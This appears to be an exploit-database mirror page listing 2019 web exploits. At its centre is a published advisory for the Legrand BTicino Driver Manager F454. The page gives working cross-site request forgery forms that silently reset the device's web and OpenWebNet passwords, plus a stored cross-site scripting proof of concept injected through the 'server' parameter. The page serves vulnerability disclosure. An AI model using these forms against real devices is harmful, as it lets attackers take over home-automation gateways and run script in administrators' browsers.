Menu

Improved exploit search engine. Try it out

"Legrand BTicino Driver Manager F454 1.0.51 - Cross-Site Request Forgery / Cross-Site Scripting"

Author

LiquidWorm

Platform

php

Release date

2019-05-15

Release Date Title Type Platform Author
2019-07-15 "FlightPath < 4.8.2 / < 5.0-rc2 - Local File Inclusion" webapps php "Mohammed Althibyani"
2019-07-12 "MyT Project Management 1.5.1 - User[username] Persistent Cross-Site Scripting" webapps php "Metin Yunus Kandemir"
2019-07-08 "WordPress Plugin Like Button 1.6.0 - Authentication Bypass" webapps php "Benjamin Lim"
2019-07-08 "Karenderia Multiple Restaurant System 5.3 - SQL Injection" webapps php "Mehmet EMIROGLU"
2019-07-05 "Karenderia Multiple Restaurant System 5.3 - Local File Inclusion" webapps php "Mehmet EMIROGLU"
2019-07-02 "Centreon 19.04 - Remote Code Execution" webapps php Askar
2019-07-01 "ZoneMinder 1.32.3 - Cross-Site Scripting" webapps php "Joey Lane"
2019-07-01 "CiuisCRM 1.6 - 'eventType' SQL Injection" webapps php "Mehmet EMIROGLU"
2019-07-01 "WorkSuite PRM 2.4 - 'password' SQL Injection" webapps php "Mehmet EMIROGLU"
2019-06-28 "LibreNMS 1.46 - 'addhost' Remote Code Execution" webapps php Askar
2019-06-25 "WordPress Plugin Live Chat Unlimited 2.8.3 - Cross-Site Scripting" webapps php m0ze
2019-06-25 "WordPress Plugin iLive 1.0.4 - Cross-Site Scripting" webapps php m0ze
2019-06-25 "AZADMIN CMS 1.0 - SQL Injection" webapps php "felipe andrian"
2019-06-24 "SeedDMS versions < 5.1.11 - Remote Command Execution" webapps php "Nimit Jain"
2019-06-24 "SeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting" webapps php "Nimit Jain"
2019-06-24 "SeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting" webapps php "Nimit Jain"
2019-06-24 "dotProject 2.1.9 - SQL Injection" webapps php "Metin Yunus Kandemir"
2019-06-20 "WebERP 4.15 - SQL injection" webapps php "Semen Alexandrovich Lyhin"
2019-06-17 "AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit)" remote php AkkuS
2019-06-12 "FusionPBX 4.4.3 - Remote Command Execution" webapps php "Dustin Cobb"
2019-06-11 "phpMyAdmin 4.8 - Cross-Site Request Forgery" webapps php Riemann
2019-06-11 "WordPress Plugin Insert or Embed Articulate Content into WordPress - Remote Code Execution" webapps php xulchibalraa
2019-06-10 "UliCMS 2019.1 'Spitting Lama' - Persistent Cross-Site Scripting" webapps php Unk9vvN
2019-06-04 "IceWarp 10.4.4 - Local File Inclusion" webapps php JameelNabbo
2019-06-03 "WordPress Plugin Form Maker 1.13.3 - SQL Injection" webapps php "Daniele Scanu"
2019-06-03 "KACE System Management Appliance (SMA) < 9.0.270 - Multiple Vulnerabilities" webapps php SlidingWindow
2019-05-29 "pfSense 2.4.4-p3 (ACME Package 0.59_14) - Persistent Cross-Site Scripting" webapps php "Chi Tran"
2019-05-24 "Opencart 3.0.3.2 - 'extension/feed/google_base' Denial of Service PoC" webapps php "Todor Donev"
2019-05-23 "Nagios XI 5.6.1 - SQL injection" webapps php JameelNabbo
2019-05-22 "Horde Webmail 5.2.22 - Multiple Vulnerabilities" webapps php InfinitumIT
Release Date Title Type Platform Author
2019-07-01 "FaceSentry Access Control System 6.4.8 - Remote Root Exploit" webapps hardware LiquidWorm
2019-07-01 "FaceSentry Access Control System 6.4.8 - Cross-Site Request Forgery" webapps hardware LiquidWorm
2019-07-01 "FaceSentry Access Control System 6.4.8 - Remote Command Injection" webapps hardware LiquidWorm
2019-07-01 "FaceSentry Access Control System 6.4.8 - Remote SSH Root" remote hardware LiquidWorm
2019-05-20 "Huawei eSpace 1.1.11.103 - DLL Hijacking" local windows LiquidWorm
2019-05-20 "Huawei eSpace 1.1.11.103 - 'ContactsCtrl.dll' / 'eSpaceStatusCtrl.dll' ActiveX Heap Overflow" dos windows LiquidWorm
2019-05-20 "Huawei eSpace 1.1.11.103 - Image File Format Handling Buffer Overflow" dos windows LiquidWorm
2019-05-20 "Huawei eSpace Meeting 1.1.11.103 - 'cenwpoll.dll' SEH Buffer Overflow (Unicode)" dos windows LiquidWorm
2019-05-15 "Legrand BTicino Driver Manager F454 1.0.51 - Cross-Site Request Forgery / Cross-Site Scripting" webapps php LiquidWorm
2019-05-16 "SEL AcSELerator Architect 2.2.24 - CPU Exhaustion Denial of Service" dos windows LiquidWorm
2019-05-13 "SOCA Access Control System 180612 - Cross-Site Request Forgery (Add Admin)" webapps php LiquidWorm
2019-05-13 "SOCA Access Control System 180612 - SQL Injection" webapps php LiquidWorm
2019-05-13 "SOCA Access Control System 180612 - Information Disclosure" webapps php LiquidWorm
2019-04-23 "Ross Video DashBoard 8.5.1 - Insecure Permissions" local windows LiquidWorm
2019-03-14 "Intel Modular Server System 10.18 - Cross-Site Request Forgery (Change Admin Password)" webapps php LiquidWorm
2019-02-05 "BEWARD N100 H.264 VGA IP Camera M2.1.6 - Arbitrary File Disclosure" webapps hardware LiquidWorm
2019-02-05 "BEWARD N100 H.264 VGA IP Camera M2.1.6 - Remote Code Execution" webapps hardware LiquidWorm
2019-02-05 "BEWARD N100 H.264 VGA IP Camera M2.1.6 - Cross-Site Request Forgery (Add Admin)" webapps hardware LiquidWorm
2019-02-05 "BEWARD N100 H.264 VGA IP Camera M2.1.6 - RTSP Stream Disclosure" webapps hardware LiquidWorm
2019-01-28 "BEWARD Intercom 2.3.1 - Credentials Disclosure" local windows LiquidWorm
2019-01-07 "Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 - JS/HTML Code Injection" webapps windows LiquidWorm
2019-01-07 "Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 - Cross-Site Request Forgery" webapps windows LiquidWorm
2018-11-30 "Synaccess netBooter NP-02x/NP-08x 6.8 - Authentication Bypass" webapps cgi LiquidWorm
2018-11-21 "Synaccess netBooter NP-0801DU 7.4 - Cross-Site Request Forgery (Add Admin)" webapps hardware LiquidWorm
2018-11-05 "Microsoft Internet Explorer 11 - Null Pointer Dereference" local windows LiquidWorm
2018-10-17 "TP-Link TL-SC3130 1.6.18 - RTSP Stream Disclosure" webapps hardware LiquidWorm
2018-10-15 "FLIR AX8 Thermal Camera 1.32.16 - Remote Code Execution" webapps hardware LiquidWorm
2018-10-15 "FLIR Brickstream 3D+ 2.1.742.1842 - Config File Disclosure" webapps hardware LiquidWorm
2018-10-15 "FLIR AX8 Thermal Camera 1.32.16 - Arbitrary File Disclosure" webapps hardware LiquidWorm
2018-10-08 "FLIR Thermal Traffic Cameras 1.01-0bb5b27 - Information Disclosure" webapps hardware LiquidWorm
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46850/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46850/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46850/41293/legrand-bticino-driver-manager-f454-1051-cross-site-request-forgery-cross-site-scripting/download/", "exploit_id": "46850", "exploit_description": "\"Legrand BTicino Driver Manager F454 1.0.51 - Cross-Site Request Forgery / Cross-Site Scripting\"", "exploit_date": "2019-05-15", "exploit_author": "LiquidWorm", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                                            

For full documentation follow the link above

blog comments powered by Disqus

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
<!--

Legrand BTicino Driver Manager F454 1.0.51 CSRF Change Password Exploit


Vendor: BTicino S.p.A.
Product web page: https://www.bticino.com

Affected version: Hardware Platform: F454
                  Firmware version: 1.0.51
                  Driver Manager version: 1.1.14

Summary: Audio/video web server for the remote control of the
system using web pages or the MY HOME portal. The device can
operate as a gateway for the use of the MHVisual and Virtual
Configurator software - 6 DIN modules. It replaces item F453
and F453AV.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Apache/2.2.14 (Unix)
           OpenSSL/1.0.0d
           PHP/5.1.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                  @zeroscience


Advisory ID: ZSL-2019-5521
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5521.php

30.04.2019

-->


<!-- CSRF PoC web access password change -->
<html>
  <body>
    <form action="http://192.168.1.66:8080/system/password.save.php" method="POST">
      <input type="hidden" name="password1" value="newpass123" />
      <input type="hidden" name="password2" value="newpass123" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


<!-- CSRF PoC OpenWebNet password change -->
<html>
  <body>
    <form action="http://192.168.1.66:8080/system/ownpassword.save.php" method="POST">
      <input type="hidden" name="ownpassword" value="ilegnisi" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


<!--

Legrand BTicino Driver Manager F454 1.0.51 Authenticated Stored XSS Exploit


Vendor: BTicino S.p.A.
Product web page: https://www.bticino.com

Affected version: Hardware Platform: F454
                  Firmware version: 1.0.51
                  Driver Manager version: 1.1.14

Summary: Audio/video web server for the remote control of the
system using web pages or the MY HOME portal. The device can
operate as a gateway for the use of the MHVisual and Virtual
Configurator software - 6 DIN modules. It replaces item F453
and F453AV.

Desc: The application suffers from an authenticated stored XSS
via GET request. The issue is triggered when input passed via
the GET parameter 'server' is not properly sanitized before
being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in
context of an affected site.

Tested on: Apache/2.2.14 (Unix)
           OpenSSL/1.0.0d
           PHP/5.1.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                  @zeroscience


Advisory ID: ZSL-2019-5522
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5522.php

30.04.2019

-->


<!-- Stored XSS via GET request -->
<html>
  <body>
    <form action="http://192.168.1.66:8080/system/time.ntp.php">
      <input type="hidden" name="mode" value="mine" />
      <input type="hidden" name="server" value='"><marquee>Waddup.</marquee>' />
      <input type="submit" value="Signal" />
    </form>
  </body>
</html>

<!-- GET http://192.168.1.66:8080/system/time.ntp.php?mode=mine&server="><marquee>Waddup.</marquee> HTTP/1.1 -->